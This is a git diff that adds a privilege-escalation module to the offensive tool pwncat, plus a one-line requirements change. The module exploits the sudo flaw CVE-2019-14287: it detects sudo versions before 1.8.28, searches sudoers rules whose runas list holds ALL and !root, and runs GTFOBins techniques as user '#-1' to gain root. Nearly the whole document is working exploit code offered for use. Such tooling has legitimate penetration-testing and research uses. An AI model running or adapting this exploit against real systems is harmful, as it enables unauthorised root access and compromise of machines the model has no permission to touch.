diff --git a/pwncat/modules/escalate/cve2019-14287.py b/pwncat/modules/escalate/cve2019-14287.py
new file mode 100644
index 0000000..f08d58e
--- /dev/null
+++ b/pwncat/modules/escalate/cve2019-14287.py
@@ -0,0 +1,72 @@
+#!/usr/bin/env python3
+
+import pwncat
+from pwncat.gtfobins import Capability, Stream, BinaryNotFound
+from pwncat.modules.escalate import (
+    EscalateModule,
+    EscalateError,
+    GTFOTechnique,
+    Technique,
+)
+
+from packaging import version
+
+class Module(EscalateModule):
+    """
+    Escalate to root using CVE-2019-14287 sudo vulnerability.
+    """
+
+    def enumerate(self):
+        """ Enumerate SUDO vulnerability """
+
+        sudo_fixed_version = '1.8.28'
+
+        try:
+            # Check the sudo version number
+            sudo_version = pwncat.victim.enumerate.first("system.sudo_version")
+        except FileNotFoundError:
+            return
+
+        if version.parse(sudo_version.data.version) >= version.parse(sudo_fixed_version):
+            # Patched version, no need to check privs
+            return
+
+        rules = []
+        for fact in pwncat.modules.run("enumerate.sudoers"):
+
+            # Doesn't appear to be a user specification
+            if not fact.data.matched:
+                continue
+
+            # This specifies a user that is not us
+            if (
+                fact.data.user != "ALL"
+                and fact.data.user != pwncat.victim.current_user.name
+                and fact.data.group is None
+            ):
+                continue
+
+            # Check if we are part of the specified group
+            if fact.data.group is not None:
+                for group in pwncat.victim.current_user.groups:
+                    if fact.data.group == group.name:
+                        break
+                else:
+                    # Non of our secondary groups match, was our primary group specified?
+                    if fact.data.group != pwncat.victim.current_user.group.name:
+                        continue
+
+            # The rule appears to match, add it to the list
+            rules.append(fact.data)
+
+        for rule in rules:
+            userlist = [x.strip() for x in rule.runas_user.split(',')]
+            if "ALL" in userlist and "!root" in userlist:
+                for command in rule.commands:
+                    for method in pwncat.victim.gtfo.iter_sudo(
+                        command, caps=Capability.ALL
+                    ):
+                        yield GTFOTechnique("root", self, method, user="\\#-1", spec=command)
+
+    def human_name(self, tech: "Technique"):
+        return f"[cyan]{tech.method.binary_path}[/cyan] ([red]sudo CVE-2019-14287[/red])"
diff --git a/requirements.txt b/requirements.txt
index d0c4306..91a4d13 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -13,6 +13,7 @@ lark-parser==0.7.8
 mbstrdecoder==1.0.0
 msgfy==0.1.0
 netifaces==0.10.9
+packaging==20.4
 git+https://github.com/calebstewart/paramiko
 pathvalidate==2.3.0
 pprintpp==0.4.0